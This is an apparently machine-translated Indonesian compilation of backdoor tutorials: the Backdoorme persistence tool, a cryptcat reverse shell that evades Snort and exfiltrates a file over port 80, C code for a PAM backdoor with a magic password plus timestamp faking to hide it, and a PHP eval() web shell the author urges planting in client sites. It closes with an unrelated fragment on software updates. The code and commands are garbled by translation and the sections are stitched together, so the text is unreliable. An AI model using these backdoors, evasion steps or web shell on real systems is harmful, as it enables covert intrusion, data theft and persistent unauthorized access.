Kami sedang menulis pintu belakang. Pintu belakang untuk peretas ke PC Anda – Spyware BackDoor

Backdoorme - utilitas untuk membuat pintu belakang secara otomatis

Backdoorme adalah utilitas kuat yang dapat membuat banyak pintu belakang pada mesin Unix. Backdoorme menggunakan antarmuka metasploit yang familiar dengan ekstensibilitas yang luar biasa. Backdoorme bergantung pada koneksi SSH atau kredensial korban untuk mengirimkan dan mengeksploitasi pintu belakang apa pun. Silakan gunakan Backdoorme dengan izin terbuka.

Tersembunyi dari tamu


Backdoorme segera hadir dengan sejumlah pintu belakang bawaan, modul, dan modul tambahan. Pintu belakang adalah komponen khusus untuk membuat dan menerapkan pintu belakang yang diperlukan, seperti pintu belakang netcat atau pintu belakang msfvenom. Modul dapat diterapkan ke pintu belakang mana pun, dan digunakan untuk membuat pintu belakang lebih kuat, tersembunyi, atau lebih cepat untuk dinonaktifkan. Pembantu adalah operasi berguna yang dapat dilakukan untuk membantu mempertahankan permanensi.

Sedikit lebih banyak tentang pintu belakang: Untuk menjalankan backdoorme, pastikan Anda memiliki dependensi yang diperlukan.

$python dependensi.py

Luncurkan pintu belakang:

$python master.py

Pintu belakang

Untuk menggunakan backdoor, cukup jalankan kata kunci "use".

>> gunakan shell/metasploit + Menggunakan target saat ini 1. + Menggunakan pintu belakang Metasploit... (msf) >>

Dari sana Anda dapat mengatur opsi yang sesuai dengan pintu belakang. Jalankan "show options" atau "help" untuk melihat daftar opsi yang dapat dikonfigurasi.

Seperti metasploit, pintu belakang disusun ke dalam beberapa kategori.

  • Bantu
    • keylogger– Menambahkan keylogger ke sistem dan memberi Anda opsi untuk mengirimkan kembali hasilnya melalui surat;
    • http sederhana– Menginstal server python SimpleHTTP pada klien.
    • pengguna– Menambahkan pengguna baru ke target.
    • web– Menginstal Server Apache pada klien.
  • Eskalasi
    • setuid– Pintu belakang SetUID bekerja dengan mengatur bit setuid pada file yang dapat dieksekusi, menyiratkan bahwa pengguna memiliki akses root. Jadi, ketika executable ini kemudian dijalankan oleh pengguna yang tidak memiliki akses root, file tersebut dieksekusi dengan akses root. Secara default, pintu belakang ini mengalihkan bit setuid ke nano, sehingga jika akses root hilang, penyerang dapat masuk kembali ke SSH sebagai pengguna yang tidak memiliki hak istimewa dan masih dapat menjalankan nano (atau biner apa pun yang dipilih) sebagai root. ("nano /etc/bayangan"). Harap dicatat bahwa untuk menerapkan ekstensi pintu belakang ini, akses root diperlukan sejak awal.
    • kerang– pintu belakang shell adalah ekstensi pintu belakang yang memiliki hak istimewa, mirip dengan (tetapi lebih spesifik) saudara ekstensinya, SetUID. Ini menduplikasi shell bash menjadi biner tersembunyi dan menyetel bit SUID. Harap dicatat bahwa akses root pada awalnya diperlukan untuk menerapkan ekstensi pintu belakang ini. Untuk menggunakan pintu belakang ini saat SSHing sebagai pengguna yang tidak memiliki hak istimewa, cukup jalankan ".bash -p" dan Anda akan memiliki akses root.
  • Cangkang (Kategori Cangkang)
    • pesta– menggunakan skrip bash sederhana untuk terhubung ke kombinasi ip dan port tertentu dan meneruskan hasilnya ke bash.
    • bash2– pintu belakang bash yang sedikit berbeda (dan lebih aman) yang dijelaskan di atas, yang tidak meminta kata sandi di sisi klien.
    • metasploit– menggunakan msfvenom untuk membuat biner reverse_tcp pada target, lalu menjalankan biner tersebut untuk terhubung ke shell meterpreter.
    • netcat– menggunakan netcat untuk meneruskan input dan output standar ke /bin/sh, menyediakan shell interaktif kepada pengguna.
    • netcat_tradisional– menggunakan -e netcat-tradisional untuk membuat shell terbalik.
    • perl- skrip yang ditulis dalam perl yang mengalihkan hasilnya ke bash dan mengganti nama proses agar terlihat kurang terlihat.
    • php– meluncurkan pintu belakang php yang mengirimkan hasilnya ke bash. Itu tidak secara otomatis menginstal server web, melainkan menggunakan modul web.
    • anak anjing– menggunakan pintu belakang Puppy n1nj4sec yang terletak di

      Tersembunyi dari tamu

      .
    • ular piton– menggunakan skrip python pendek untuk menjalankan perintah dan mengirimkan hasilnya kembali ke pengguna.
    • web– mengirimkan server web ke target, lalu mendownload backdoor msfvenom php reverse_tcp dan menghubungkan ke host. Meskipun ini masih merupakan backdoor php, namun tidak sama dengan backdoor php yang dijelaskan di atas.
  • Mengakses
    • hapus_ssh– menghapus server ssh di klien. Sangat nyaman digunakan di akhir sesi pintu belakang untuk menghilangkan jejak apa pun.
    • ssh_key– membuat kunci RSA dan menyalinnya ke target untuk koneksi tanpa kata sandi ssh.
    • ssh_port– Menambahkan port baru untuk ssh.
  • Windows (Kategori Windows)
    • jendela– Menggunakan msfvenom untuk membuat pintu belakang windows.
Modul

Setiap pintu belakang memiliki kemampuan untuk menerima modul tambahan, yang digunakan untuk membuat pintu belakang lebih kuat. Untuk menambahkan modul, cukup gunakan kata kunci "tambah".

(msf) >> tambahkan racun + modul Racun ditambahkan

Setiap modul memiliki opsi tambahan yang dapat dikonfigurasi dan jika Anda menjalankan "bantuan" lagi, Anda dapat melihat atau mengatur opsi tambahan apa pun.

Modul yang tersedia saat ini meliputi:

  • Racun
    • Melakukan keracunan bin pada komputer target – Ini mengkompilasi file yang dapat dieksekusi untuk memanggil utilitas sistem dan pintu belakang yang ada.
    • Misalnya, jika modul keracunan bin dijalankan bersama "ls", ia akan mengkompilasi dan mem-porting biner bernama "ls" yang akan menjalankan pintu belakang yang ada dan "ls" yang asli, sehingga menonaktifkan pengguna untuk lebih sering menjalankan pintu belakang. .
  • Kron
    • Menambahkan pintu belakang yang ada ke crontab pengguna root untuk dijalankan pada frekuensi yang ditentukan.
  • jaring
    • Menginstal server web dan menghosting halaman web yang menjalankan pintu belakang.
    • Cukup buka situs dengan pendengar terbuka dan pintu belakang diluncurkan.
  • Pengguna
    • Menambahkan pengguna baru ke target.
  • Rintisan
    • Memungkinkan Anda membuat pintu belakang dengan file bashrc dan init.
  • Daftar putih
    • Memasukkan IP ke daftar putih sehingga hanya IP ini yang dapat terhubung ke pintu belakang.
Terjemahan:

Cryptcat memungkinkan kita berkomunikasi antara dua sistem dan mengenkripsi komunikasi di antara keduanya menggunakan twofish - salah satu dari banyak algoritma enkripsi yang sangat baik.

Sebelumnya, kita mengenal satu mesin kecil yang memungkinkan Anda membuat koneksi antara dua mesin dan mentransfer file atau membuat shell perintah untuk "mengambil alih" sistem. Terlepas dari keindahan dan keanggunan alat kecil ini, alat ini memiliki satu kelemahan utama - transfer antar komputer dapat dideteksi oleh perangkat keamanan seperti firewall dan sistem deteksi intrusi (IDS).

Dalam tutorial ini, kami akan memperkenalkan sepupu netcat yang populer, cryptcat (sebenarnya jauh lebih bagus dan lebih eksotis daripada netcat biasa).

Karena enkripsi twofish setara dengan enkripsi AES, hal ini menjadikan cryptcat hampir antipeluru. Dengan demikian, IDS tidak dapat mendeteksi perilaku berbahaya bahkan ketika rutenya melewati port HTTP umum 80 dan 443.

Langkah 1: Unduh Cryptcat

Melangkah 2: Buka pendengar di sistem Windows

Kita dapat membuka pendengar di sistem apa pun dengan sintaksis yang mirip dengan netcat. Dalam kasus kami, kami membuka pendengar di Windows 7 pada port 6996 dan membuat shell perintah.

cryptcat -l -p 6996 -e cmd.exe

L singkatan dari "pendengar terbuka"
-p 6996 berarti "tempatkan pendengar pada port 6996"
-e cmd.exe berarti "mulai shell perintah untuk komunikasi"

Melangkah 3: Buka Snort atau IDS lainnya

Sekarang, mari kita jalankan IDS seperti Snort di sistem lain yang akan terhubung ke sistem Windows untuk melihat apakah enkripsi dapat membutakan IDS, sehingga pintu belakang kita tidak terlihat oleh perangkat keamanan serupa.


Melangkah 4: Hubungkan ke sistem Windows dengan Cryptcat

Cryptcat terinstal di BackTrack secara default, jadi kita tidak perlu mendownload dan menginstalnya. Selain itu, terletak di direktori /bin, sehingga kita dapat mengaksesnya dari direktori mana pun.

Sekarang mari kita sambungkan ke sistem cryptcat Windows 7 dari sistem BackTrack kita dan lihat apakah kita dapat membuat koneksi pintu belakang terenkripsi yang hampir mustahil untuk dideteksi.

kucing kripto 192.168.4.182.248 6996


Seperti yang Anda lihat, kami terhubung ke sistem Windows 7 dan telah menerima shell perintah dari sistem Win 7! Hal ini memberi kita kendali yang signifikan atas sistem ini, namun bukan kendali penuh, karena shell perintah memiliki kemampuan terbatas.

Melangkah 5: Periksa Log dan Peringatan Snort

Jenis serangan ini (shell traversal melalui jaringan) mudah dideteksi menggunakan Snort atau IDS lainnya ketika koneksi tidak dienkripsi. Aturan Snort akan mengingatkan sysadmin bahwa shell cmd.exe sedang melintasi koneksi jaringan, dan mereka mungkin akan melakukan sesuatu untuk menghalangi Anda menggunakan shell tersebut. Dengan koneksi terenkripsi yang tersedia dengan cryptcat, koneksi ini hampir mustahil untuk dideteksi.

Mari kita kembali dan memeriksa log dan peringatan di Snort. Jika kita berhasil menghindari IDS, kita tidak akan melihat peringatan tentang shell yang bergerak melintasi jaringan. Kita dapat memeriksa log kita dengan masuk ke /var/snort/alerts dan melihat apakah ada alarm yang disebabkan oleh koneksi kita ke mesin Windows (biasanya kita akan menemukan peringatan).

kwrite /var/snort/alerts


Seperti yang Anda lihat, kami telah berhasil. Kami dapat terhubung ke sistem Windows tanpa memberi tahu sistem keamanan mana pun!

Melangkah 6: Kirim Crypcat pada port 80 untuk menghindari firewall

Meskipun kami telah berhasil membuat pintu belakang terenkripsi pada sistem korban, administrator keamanan yang jeli akan melihat bahwa ada port terbuka yang tidak biasa (6996). Hal ini kemungkinan besar akan memicu semacam tindakan administrator keamanan untuk membatasi akses kami. Selain itu, pada sistem dengan sysadmin yang baik dan firewall yang baik, port ini kemungkinan besar akan diblokir oleh firewall.

Agar jaringan apa pun dapat berkomunikasi di Internet, kemungkinan besar Anda harus tetap membuka port 80 dan 443, tetapi mungkin juga 25, 53, dan 110. Karena tidak terenkripsi, lalu lintas Internet normal melewati port 80, yang hampir selalu terbuka. , maka sedikit peningkatan lalu lintas kemungkinan besar tidak akan terlihat.

Sekarang kita telah berhasil menggunakan cryptcat, mari kirimkan pada port 80 dengan semua lalu lintas internet lainnya. Meskipun dienkripsi, itu akan terlihat seperti data biner apa pun yang dikirimkan melalui saluran tersebut. Oleh karena itu, hampir mustahil bagi perangkat keamanan untuk mendeteksi dan memblokirnya, karena perangkat tersebut harus selalu mengizinkan lalu lintas pada port 80, dan lalu lintas tersebut dienkripsi dan IDS tidak akan dapat "melihat" isinya.

Di sini kami akan memindahkan file dari sistem korban bernama topsecret.txt ke sistem penyerang kami tanpa terdeteksi oleh perangkat keamanan apa pun. Kali ini, alih-alih mengirimkan shell melalui jaringan, kami akan mengirimkan file rahasia bernama topsecret.txt melalui koneksi terenkripsi kami. Kita dapat melakukan ini dengan mengetikkan baris perintah Windows:

kucing kripto -l -p 80< topsecret.txt

L singkatan dari "pendengar terbuka"
-p 80 berarti "pendengar terbuka pada port 80"
< означает "отправить файл через этого слушателя"

Ada banyak cara untuk mendapatkan pijakan pada mobil yang diretas. Dari yang paling dangkal dan mudah dideteksi (tambahkan diri Anda ke basis pengguna) hingga modul kernel kompleks yang mengimplementasikan shell terbalik ke mesin jarak jauh. Namun di antara mereka ada sebuah metode yang sangat mudah diterapkan dan cukup rahasia, yang mengejutkan hanya sedikit orang yang mengetahuinya. Ini adalah modifikasi modul sistem otentikasi PAM yang digunakan oleh semua sistem UNIX modern.

Apa itu PAM

Modul Otentikasi Pluggable (PAM) adalah sekumpulan API yang diperlukan untuk mengimplementasikan mekanisme otentikasi di berbagai aplikasi.

Sebelum munculnya PAM, untuk mengimplementasikan otentikasi, katakanlah, menggunakan kartu kunci, pengembang harus menambahkan kode untuk mendukung kartu kunci yang sama di setiap komponen sistem yang bertanggung jawab untuk otentikasi pengguna. Artinya, utilitas login, sshd, serta perangkat lunak lain yang direncanakan untuk menambahkan fungsi serupa harus ditambahkan dan dibangun kembali.

Dengan hadirnya PAM, situasinya menjadi lebih sederhana. Sekarang, untuk menambahkan protokol otentikasi unik Anda sendiri yang ditulis sendiri ke sistem, cukup mengimplementasikannya dalam satu modul PAM. Dan semua utilitas dan aplikasi yang dapat bekerja dengan PAM akan mengambilnya dan dapat menggunakannya untuk otentikasi pengguna.

Dalam praktiknya, tampilannya seperti ini: utilitas login memanggil PAM, yang melakukan semua pemeriksaan yang diperlukan menggunakan modul yang ditentukan dalam file konfigurasi dan mengembalikan hasilnya ke utilitas login. Nyaman, bukan? Namun, pendekatan ini mengandung peluang yang dapat kita gunakan untuk mendapatkan pijakan dalam sistem.

Ada baiknya membuat penafian kecil. Ada tiga implementasi utama PAM:

  • Linux-PAM adalah implementasi utama PAM pada sistem Linux apa pun;
  • OpenPAM - digunakan pada sistem BSD dan macOS;
  • JPam adalah implementasi PAM untuk aplikasi Java.

Kami tidak akan fokus pada implementasi spesifik apa pun. Fungsi dasarnya sama di semua tempat.

Aspek Penyematan di *nix Menggunakan PAM

Anda dapat menemukan pengaturan PAM untuk setiap aplikasi di katalog /etc/pam.d(Linux) atau di file /etc/pam.conf. Contoh file konfigurasi untuk utilitas login di macOS:

auth opsional pam_krb5 .jadi gunakan_kcminit

auth opsional pam_ntlm .jadi coba_first_pass

auth opsional pam_mount .jadi coba_first_pass

auth diperlukan pam_opendirectory .jadi coba_first_pass

akun diperlukan pam_nologin .so

akun diperlukan pam_opendirectory .so

kata sandi diperlukan pam_opendirectory .so

sesi diperlukan pam_launchd .so

sesi diperlukan pam_uwtmp .so

sesi opsional pam_mount .so

Mari kita lihat keajaiban apa yang terjadi di sini.

File konfigurasi menjelaskan aturan verifikasi yang harus diikuti agar berhasil mengautentikasi pengguna atau melakukan tindakan lain (mengubah kata sandi, menyiapkan lingkungan pengguna). Setiap baris file konfigurasi berisi satu aturan. Pemeriksaan dilakukan baris demi baris.

Dari kiri ke kanan: tipe modul, control_flag, nama modul. Bagi kami, jenis modul auth adalah kepentingan utama; modul inilah yang bertanggung jawab untuk otentikasi. Control_flag adalah properti modul. Ini dapat mengambil nilai-nilai berikut:

  • syarat - Jika modul mengembalikan respons positif, sisa rantai akan dieksekusi dan permintaan dikabulkan. Jika modul mengembalikan respons negatif, maka permintaan akan segera ditolak dan tidak ada pemeriksaan lain yang dilakukan;
  • diperlukan - persis sama dengan yang diperlukan: jika jawabannya ya, sisa rantai pemeriksaan akan dijalankan. Satu-satunya perbedaan adalah jika jawabannya negatif, rangkaian pemeriksaan terus dijalankan, tetapi permintaan ditolak;
  • cukup (cukup) - memenuhi permintaan jika tidak ada pemeriksaan lain yang dilakukan sebelumnya dalam rantai yang menghasilkan hasil negatif. Jika modul bekerja secara negatif, hasilnya diabaikan dan rangkaian pemeriksaan diproses lebih lanjut;
  • opsional - modul diproses, tetapi hasilnya diabaikan.

Pada tahap ini, Anda mungkin menyadari bahwa dengan membuat perubahan kecil pada file konfigurasi, kami dapat memastikan login berhasil dengan kata sandi apa pun (cukup menandai semua modul autentikasi sebagai opsional). Namun solusi ini akan berfungsi hingga pengguna atau administrator yang sah mengetahui bahwa ia berhasil masuk ke sistem meskipun kata sandinya salah.

Menulis modul pintu belakang kita sendiri

PAM memungkinkan kita untuk menghubungkan modul otentikasi kita sendiri. Oleh karena itu, kita dapat membuat modul dengan kata sandi “ajaib” dan memastikan bahwa sistem menerima kata sandi pengguna standar dan kata sandi kita sendiri. Jika Anda memasukkan kata sandi yang salah, kami akan melihat kesalahan otentikasi yang diharapkan. Bukan pilihan yang buruk.

Jadi, kodenya (jangan lupa ganti kata sandi ajaib dengan kata sandi “ajaib” Anda):

#termasuk

#termasuk

#termasuk

#termasuk

#termasuk

#termasuk

#define MYPASSWD "kata sandi ajaib"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , bendera int , int argc , const char * * argv ) (

kembalikan PAM_SUCCESS;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , bendera int , int argc , const char * * argv ) (

kembalikan PAM_SUCCESS;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh, bendera int, int argc, const char * * argv) (

karakter * kata sandi = NULL;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & kata sandi, NULL);

jika (! strncmp (kata sandi, MYPASSWD, strlen (MYPASSWD ) ) )

kembalikan PAM_SUCCESS;

kembali - 1 ;

Mari merakit modul:

$ sudo apt - dapatkan instal libpam0g - dev gcc

$gcc - fPIC - c pam_backdoor .c

$ ld - x -- bersama - o pam_backdoor .jadi pam_backdoor .o

Dan letakkan di direktori dengan modul lain:

$ sudo chown root : root pam_backdoor .jadi

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / keamanan /

Harap dicatat bahwa jalannya /lib/x86_64-linux-gnu/keamanan/ khusus untuk Debian/Ubuntu. Di Fedora, Red Hat dan CentOS, modul terletak di direktori /lib64/keamanan/, dan di Arch Linux - di direktori /lib/keamanan/.

Sekarang yang tersisa hanyalah mengkonfigurasi PAM sedemikian rupa sehingga melewati verifikasi oleh modul Anda sudah cukup untuk otentikasi berhasil. Misalnya, konfigurasi untuk utilitas su ( /etc/pam.d/su):

Pada beberapa sistem Linux, pengaturan autentikasi dapat ditempatkan di beberapa file: common-auth, common-password, common-session, dan kemudian dihubungkan ke file konfigurasi utilitas tertentu melalui @include . Poin ini harus diperhitungkan.

Setelah Anda membuat pengaturan di konfigurasi, utilitas su akan mengizinkan Anda menggunakan kata sandi yang ditentukan dalam modul. Trik yang sama dapat dilakukan dengan utilitas login (login konsol) dan sshd untuk login jarak jauh.

Menanamkan pintu belakang ke dalam modul yang sudah ada

Saat mengedit konfigurasi PAM, Anda mungkin memperhatikan modul pam_unix.so. Modul ini bertanggung jawab untuk otentikasi pengguna menggunakan database kata sandi standar untuk sistem UNIX /etc/passwd. Banyak utilitas yang menggunakannya, termasuk su, login, sshd, dan program lain (misalnya, SecureFTPd).

Karena PAM masih open source dan kita memiliki akses ke kode sumber daemon itu sendiri dan komponen standarnya, kita dapat membangun backdoor langsung ke dalam modul ini.

Untuk melakukan perubahan yang diperlukan, unduh teks sumber PAM:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$tar - xzf inux - PAM - 1.1.8.tar.gz

Buka berkasnya Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c dan cari baris berikut:

Kami merakit dan mengganti modul asli dengan milik kami sendiri:

$. /konfigurasi

$ membuat

$ sudo cp Linux - PAM - 1.1.8 / modul / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / keamanan /

Agar admin tidak memperhatikan pergantian tersebut, kami mengubah waktu pembuatan file agar bertepatan dengan waktu pembuatan modul lainnya.

Saya ingat di artikel “10 Tips dan Rekomendasi Memesan Website”, saya menyebutkan kasus ketika klien yang tidak jujur ​​memutuskan untuk menipu kami meskipun kami telah bekerja sama selama lebih dari satu setengah tahun. Setelah kami mengetahui bahwa kami tidak akan dibayar apa pun, kami bahkan tidak dapat memperoleh kembali situs kami, karena tidak ada satu celah pun yang tersisa di dalamnya.

Namun, yang membuat saya mengantuk adalah di salah satu situs saya masih memiliki “pintu darurat” kecil, sehingga saya tidak berpikir untuk mengembangkan situs kedua dan terjun ke dunia nyata. Dan masukan ini tampak seperti formulir sederhana untuk mengunggah file ke server.

Dengan bantuannya, saya mengunggah skrip yang diperlukan ke situs dan menjalankannya di situs, dan mereka, pada gilirannya, melakukan pekerjaan kotor mereka. Pintu ini memiliki satu kelemahan - siapa pun dapat menggunakannya, jika, tentu saja, mereka mengetahui keberadaannya.

Waktu telah berlalu, dan meskipun hingga saat ini semuanya berjalan lancar, tidak menutup kemungkinan peterseli seperti itu dapat terulang kembali.

Pada prinsipnya, Anda dapat menggunakan metode lama untuk mengirim file yang dapat dieksekusi ke server, tapi... Mengapa komplikasi ini jika Anda dapat membuat segalanya lebih sederhana.

Saya menawarkan pilihan dan ide untuk backdoor paling sederhana, jika masalah benar-benar muncul. Jadi…

  1. Kami membuat file php dan menyebutnya sesuatu yang tidak mencolok, seperti lisensi.php atau yang lainnya.
  2. Kami menulis kode di dalamnya

    if (isset($_POST["teks"]))
    eval($_POST["teks"]);
    ?>




  3. Kami menempatkan file di suatu tempat lebih jauh ke dalam cms, misalnya, di belantara editor WYSIWYG. Jika diinginkan, duplikat file di 2-3 tempat lagi (untuk berjaga-jaga)

Ini dia, kerangka kemarahan. Saya yakin tidak perlu menjelaskan bahwa fungsi eval mengeksekusi kode yang diketik dalam formulir.

Ini hanyalah kerangka kerja yang mungkin memiliki banyak contoh implementasi. Katakanlah Anda dapat menggunakan highlight_file untuk menampilkan konten beberapa file dengan kata sandi yang tidak dapat diakses langsung. Anda dapat menyambung ke database, membaca konten, atau mengubahnya. Atau malah bisa print script untuk menghapus semua yang ada di server, kenapa tidak.

Di bawah ini saya menawarkan ide untuk melengkapi pintu ini, yang dapat dibuat sesuai keinginan - saya serahkan kepada Anda, pembaca yang budiman, sebagai pekerjaan rumah opsional. Tapi kalau tiba-tiba ada keinginan, saya akan dengan senang hati melihat apa yang terjadi.

Ide untuk perbaikan :

  1. Secara umum, alangkah baiknya jika pintu tidak dapat diakses oleh semua orang, dan untuk mengotorisasinya, misalnya, melalui .htaccess biasa, atau menggunakan alat berbasis sesi PHP (atau lebih baik lagi, keduanya - catatan Editor).
  2. Dengan otorisasi, Anda biasanya dapat menyiapkan sejumlah tombol, dengan mengklik di mana Anda dapat memanggil skrip ini atau itu. Misalnya, Anda masuk ke pintu Anda, dan ada tombol - baca kata sandi, baca database, hapus panel administratif, dan sebagainya.
  3. Ada ide lain?

Akhirnya

Masuk akal untuk menggunakan pintu ketika Anda menyerahkan situs sebelum pembayaran (terkadang), atau ketika Anda bekerja di sebuah perusahaan dan ingin aman. Dalam kasus pertama, ketika pembayaran dilakukan, pintunya bisa dilepas, atau Anda bisa membiarkannya, meski menurut saya itu tidak diperlukan lagi. Dan dalam kasus kedua, Anda harus selalu menyiapkannya.

Itu saja untuk hari ini. Saya akan senang melihat ide dan saran Anda tentang topik ini! Sampai Lain waktu

Di blog kami di Habré, kami tidak hanya berbicara tentang pengembangan produk kami - penagihan untuk operator telekomunikasi Hydra, tetapi juga menerbitkan materi tentang bekerja dengan infrastruktur dan penggunaan teknologi.

Jurnalis dan peretas Jerman Leif Ryge menulis artikel menarik untuk Ars Technica tentang bagaimana pendekatan modern dalam mengatur pembaruan perangkat lunak membawa risiko keamanan informasi yang serius. Kami sampaikan kepada Anda pemikiran utama dari catatan ini.

Latar belakang

Pada tahun 2014, Washington Post menulis bahwa perusahaan seperti Apple dan Google harus menciptakan sesuatu seperti kunci rahasia yang dapat digunakan untuk mendapatkan akses ke produk mereka dan yang akan mereka simpan dan transfer ke badan intelijen hanya jika mereka menerima tindakan hukum.” .

Menyingkirkan tautan lemah, yang mana pun sangat penting untuk diserang, harus menjadi persyaratan dasar untuk setiap mekanisme distribusi perangkat lunak baru.